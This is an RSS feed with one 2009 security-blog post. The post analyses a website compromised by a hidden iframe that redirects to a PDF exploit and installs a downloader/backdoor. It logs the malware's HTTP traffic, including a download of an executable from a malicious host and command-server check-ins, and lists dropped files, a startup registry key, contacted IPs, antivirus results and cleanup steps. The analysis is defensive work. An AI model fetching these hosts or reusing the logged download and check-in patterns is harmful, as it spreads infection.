<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NoVirusThanks Blog &#187; downloader</title>
	<atom:link href="http://blog.novirusthanks.org/tag/downloader/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.novirusthanks.org</link>
	<description>Security News and Malware Analysis</description>
	<lastBuildDate>Wed, 01 Feb 2012 13:34:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Analysis of a website infected with a hidden iframe</title>
		<link>http://blog.novirusthanks.org/2009/03/analysis-of-a-website-infected-with-a-hidden-iframe/</link>
		<comments>http://blog.novirusthanks.org/2009/03/analysis-of-a-website-infected-with-a-hidden-iframe/#comments</comments>
		<pubDate>Sun, 29 Mar 2009 18:04:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[downloader]]></category>
		<category><![CDATA[hidden iframe]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[website infected]]></category>

		<guid isPermaLink="false">http://novirusthanks.org/blog/?p=1410</guid>
		<description><![CDATA[A user submitted a suspicious link that was present in his website as a hidden iframe. Malicious hidden iframes are mainly inserted into HTML pages of legitimate websites, by hackers that want to spread their malware with the objective of infecting all the users that visit the compromised website and in most of the cases, [...]]]></description>
			<content:encoded><![CDATA[<p>A user submitted a suspicious link that was present in his website as a hidden iframe. Malicious hidden iframes are mainly inserted into HTML pages of legitimate websites, by hackers that want to spread their malware with the objective of infecting all the users that visit the compromised website and in most of the cases, its possible that the hackers have infected every file of the website, or they have installed a malicious URL redirect to another website that hosts exploits for commonly used web browsers.</p>
<p>&nbsp;</p>
<p>The website could be compromised by the hacker because:</p>
<p>&nbsp;</p>
<p>- Your website contains scripts that are vulnerable to RFI/SQL/XSS/LFI/RCE/etc.</p>
<p>&nbsp;</p>
<p>- Your website is hosted in a shared-host, and if an hacker has compromised one website hosted in the same cluster as yours, the hacker can infect ALL the websites present, yours included.</p>
<p>&nbsp;</p>
<p>Now lets see what would happen if you had visited the infected website with the hidden malicious iframe. The malicious hidden iframe looks like:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/hidden-iframe-in-legit-website.gif" alt="Screenshot of hidden iframe" title="Screenshot of hidden iframe" /></p>
<p>&nbsp;</p>
<p>After I browsed the malicious url I was redirected to another website that contains a PDF exploit:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/hidden-iframe-in-legit-website2.gif" alt="Screenshot" title="Screenshot" /></p>
<p>&nbsp;</p>
<p>Internet traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /in.cgi?cocacola46 HTTP/1.1
Host: litetopfindworld.cn
HTTP/1.1 302 Found
&nbsp;
GET /index.php?cocacola46 HTTP/1.1
Host: ghrgt.hostindianet.com
HTTP/1.1 200 OK
Server: nginx/0.6.35
Content-Length: 6147</pre></td></tr></table></div>

<p>From the <a href="http://blog.novirusthanks.org/wp-content/uploads/hidden-iframe-in-legit-website3.gif" target="_blank">exploit screenshot</a> we can see that the exploit redirected my browser to:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">cache/readme.pdf  =&gt; Another iframe redirect
cache/flash.swf     =&gt; Another iframe redirect</pre></div></div>

<p>It created various files in Temporary Internet Files related to the malicious urls:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/hidden-iframe-in-legit-website4.gif" alt="Screenshot of files created in Temporary Internet Files folder" title="Screenshot of files created in Temporary Internet Files folder" /></p>
<p>&nbsp;</p>
<p>After the execution of the files downloaded from the exploit, new files were created in my system:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\WINDOWS\system32\wbem\grpconv.exe
C:\WINDOWS\Temp\wpv331238107706.exe
C:\WINDOWS\Temp\wpv761238313566.exe
C:\WINDOWS\system32\crypts.dll
C:\Documents and Settings\user\user.exe</pre></td></tr></table></div>

<p>The file C:\Documents and Settings\user\user.exe had +H (Hidden) attribute and was hidden from explorer search. A DLL file named <b>crypts.dll</b> was injected in explorer.exe and the file named user.exe created a new registry key to be able to startup everytime Windows starts:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">HKCU\...\Run\user.exe</pre></td></tr></table></div>

<p>During the analysis, the malware established various connections with different domains and IPs:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">94.247.3.152 (hs.3-152.zlkon.lv)
213.155.4.82 (N/A)
78.109.30.224 (reverse30-224.reserver.ru)
94.247.2.95 (hs.2-95.zlkon.lv)
68.180.151.74 (hansali4.com)
83.133.127.5 (.)</pre></td></tr></table></div>

<p>Internet traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /new/controller.php?action=bot&amp;entity_list=&amp;uid=1&amp;first=1&amp;guid=xxx&amp;rnd=xxx HTTP/1.1
Host: 213.155.4.82
&nbsp;
POST /good/receiver/online HTTP/1.1
Host: 78.109.30.224
Content-Length: 16
guid=xxxxxx
&nbsp;
GET /bt.php?mod=&amp;id=xxx&amp;up=xxx&amp;mid=soboc42 HTTP/1.1
Host: af9f330a59.com
0SLP:3600;MOD:dAcbf6;URL:hxxp://hansali4.com/731l2.exe;SRV:stoped;
&nbsp;
GET /731l2.exe HTTP/1.1
Host: hansali4.com
&nbsp;
POST /gate/gate.php HTTP/1.0
Host: mixmediadirect.cn
&nbsp;
194.8.74.51:443 =&gt; SSL Traffic</pre></td></tr></table></div>

<p>The malware also started to establish connections with hotmail.com, probably to spam messages to other emails or something similar:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: hotmail.com
Connection: Keep-Alive
&nbsp;
HTTP/1.1 302 Redirected
Date: Sun, 29 Mar 2009 16:59:07 GMT
Server: Microsoft-IIS/6.0
Location: hxxp://lc1.bay0.hotmail.passport.com/cgi-bin/login</pre></td></tr></table></div>

<p>This is a report from the virus scanner:</p>
<blockquote><p>
Report Generated: 	29.3.2009 at 19.57.41 (GMT 1)<br />
File Name:	<b>index[1].htm</b><br />
File Size:	6 KB<br />
MD5 Hash:	2F9467513FAE3071B8EC831857963340<br />
SHA1 Hash:	59C6D7D70F529762FAD7408360E016D6C816EFB3<br />
Detection Rate:	<font color="red">2</font> on 24 (<font color="red">8,33 %</font>)<br />
Status:	<font color="red">INFECTED</font> </p>
<p>&nbsp;</p>
<p>Antivirus 	Sig version 	Engine Version 	Result<br />
a-squared	29/03/2009	4.0.0.32	-<br />
Avira AntiVir	7.1.2.228	8.1.2.12	-<br />
Avast	090328-0	4.8.1229	-<br />
AVG	270.11.31/2028	8.0.0.0	-<br />
BitDefender	29/03/2009	7.0.0.2555	-<br />
ClamAV	29/03/2009	0.93.1.0	-<br />
Comodo	1087	3.8 	-<br />
Dr.Web	29/03/2009	5.0	-<br />
Ewido	29/03/2009	4.0.0.2	-<br />
F-PROT 6	20090328	4.4.4.56	<font color="red">JS/Psyme.IX</font><br />
G DATA	19.3655	2.0.7309.847	-<br />
IkarusT3	27/03/2009 	1001044 	-<br />
Kaspersky	29/03/2009	8.0.0.357	<font color="red">Trojan-Downloader.JS.Agent.duy</font><br />
McAfee	29/03/2009	5.1.0.0	-<br />
Malware Hash Registry	29/03/2009 	N/A 	-<br />
NOD32 v3	3972	3.0.677	-<br />
Norman	2009/03/27	5.92.08	-<br />
Panda	07/02/2009	9.5.1.00	-<br />
QuickHeal	28 March, 2009	10.0	-<br />
Solo Antivirus	29/03/2009	8.0	-<br />
Sophos	29/03/2009	4.32.0	-<br />
TrendMicro	927(592700)	1.1-1001	-<br />
VBA32	29/03/2009	3.12.0.300	-<br />
VirusBuster	10.102.26	1.4.3	-
</p></blockquote>
<blockquote><p>
Report Generated: 	29.3.2009 at 19.56.42 (GMT 1)<br />
File Name:	<b>731l2[1].exe</b><br />
File Size:	71 KB<br />
MD5 Hash:	6E14662D9469DFC1E6387F9C5D00513A<br />
SHA1 Hash:	C0E8B584E105ACED2A4CE403EF77CB45B3987E45<br />
Detection Rate:	<font color="red">17</font> on 24 (<font color="red">70,83 %</font>)<br />
Status:	<font color="red">INFECTED</font></p>
<p>&nbsp;</p>
<p>Antivirus 	Sig version 	Engine Version 	Result<br />
a-squared	29/03/2009	4.0.0.32	-<br />
Avira AntiVir	7.1.2.228	8.1.2.12	<font color="red">TR/Downloader.Gen</font><br />
Avast	090328-0	4.8.1229	<font color="red">Win32:Trojan-gen {Other}</font><br />
AVG	270.11.31/2028	8.0.0.0	<font color="red">Downloader.Generic8.ZVT</font><br />
BitDefender	29/03/2009	7.0.0.2555	<font color="red">Trojan.Generic.1545891</font><br />
ClamAV	29/03/2009	0.93.1.0	-<br />
Comodo	1087	3.8 	<font color="red">Backdoor.Win32.KeyStart.~A</font><br />
Dr.Web	29/03/2009	5.0	<font color="red">Trojan.DownLoader.origin</font><br />
Ewido	29/03/2009	4.0.0.2	-<br />
F-PROT 6	20090328	4.4.4.56	-<br />
G DATA	19.3655	2.0.7309.847	-<br />
IkarusT3	27/03/2009 	1001044 	<font color="red">Backdoor.Win32.KeyStart</font><br />
Kaspersky	29/03/2009	8.0.0.357	<font color="red">Backdoor.Win32.KeyStart.cb</font><br />
McAfee	29/03/2009	5.1.0.0	Generic <font color="red">Downloader.x trojan</font><br />
Malware Hash Registry	29/03/2009 	N/A 	<font color="red">detect rate 74%</font><br />
NOD32 v3	3972	3.0.677	<font color="red">Win32/TrojanDownloader.Agent.OWB</font><br />
Norman	2009/03/27	5.92.08	<font color="red">Trojan W32/DLoader.KZPW</font><br />
Panda	07/02/2009	9.5.1.00	-<br />
QuickHeal	28 March, 2009	10.0	<font color="red">Backdoor.KeyStart.cb</font><br />
Solo Antivirus	29/03/2009	8.0	<font color="red">Backdoor.Win32.KeyStart.CB</font><br />
Sophos	29/03/2009	4.32.0	<font color="red">Sus/Spy-B</font><br />
TrendMicro	927(592700)	1.1-1001	-<br />
VBA32	29/03/2009	3.12.0.300	<font color="red">Backdoor.Win32.KeyStart.bz</font><br />
VirusBuster	10.102.26	1.4.3	<font color="red">Backdoor.KeyStart.AD</font>
</p></blockquote>
<p>What can I do if my website is infected ?</p>
<p>&nbsp;</p>
<ul>
<li>Clean the infected HTML/PHP pages</li>
<li>Change username and password to the FTP Account</li>
<li>Change username and password to the Email Account</li>
<li>Change username and password to the SSH</li>
<li>Contact the server admin and explain your situation</li>
<li>Check your PHP files for possible vulnerabilities</li>
<li>Update all the installed software (blog, forum, etc)</li>
<li>Remember to never make backups from the website to your PC</li>
<li>Use always local backups for the website files</li>
</ul>
<p>&nbsp;</p>
<p>The first action that the system administrator needs to do is to remove the malicious hidden iframe code from all HTML pages, and then check the logs and code of installed PHP scripts to find the presence of possible vulnerable code. It is very important to change all the usernames and passwords for all the accounts present in the server.</p>
<p>&nbsp;</p>
<p>How can I remove the malware infection from my computer ?</p>
<p>&nbsp;</p>
<p>1] Delete all the created files, in my case:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\WINDOWS\system32\wbem\grpconv.exe
C:\WINDOWS\Temp\wpv331238107706.exe
C:\WINDOWS\Temp\wpv761238313566.exe
C:\WINDOWS\system32\crypts.dll
C:\Documents and Settings\user\user.exe</pre></td></tr></table></div>

<p>2] Delete the malicious registry keys, in my case:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">HKCU\...\Run\user.exe</pre></td></tr></table></div>

<p>3) Run a complete system scan with your Antivirus to detect other possible trojans installed in your computer.</p>
<p>&nbsp;</p>
<p>4) Scan your system with <a href="http://www.novirusthanks.org/products/novirusthanks-malware-remover/">NoVirusThanks Malware Remover</a>.</p>
<p>&nbsp;</p>
<p>Another very similar analysis to this:<br />
<a href="http://blog.novirusthanks.org/2008/10/website-with-hidden-iframe-and-malware-analysis/">Website with hidden iframe and Malware Analysis</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.novirusthanks.org/2009/03/analysis-of-a-website-infected-with-a-hidden-iframe/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

